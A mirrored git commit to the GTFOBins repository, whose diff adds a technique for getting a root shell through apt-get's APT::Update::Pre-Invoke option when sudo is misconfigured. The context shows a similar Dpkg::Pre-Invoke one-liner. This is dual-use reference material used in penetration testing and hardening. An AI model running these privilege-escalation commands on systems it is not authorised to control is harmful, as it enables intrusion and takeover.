1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io synced 2025-04-17 12:35:37 +02:00

Add alternative apt* shell technique

Thanks to
https://lsdsecurity.com/2019/01/linux-privilege-escalation-using-apt-get-apt-dpkg-to-abuse-sudo-nopasswd-misconfiguration/

Also related to .
This commit is contained in:
Andrea Cardaci 2019-01-21 16:28:20 +01:00
parent 4fdaada820
commit 21f760676c
2 changed files with 4 additions and 0 deletions

@ -15,4 +15,6 @@ functions:
TF=$(mktemp)
echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF
sudo apt-get install -c $TF sl
- description: When the shell exits the `update` command is actually executed.
code: sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
---

@ -15,4 +15,6 @@ functions:
TF=$(mktemp)
echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF
sudo apt install -c $TF sl
- description: When the shell exits the `update` command is actually executed.
code: sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
---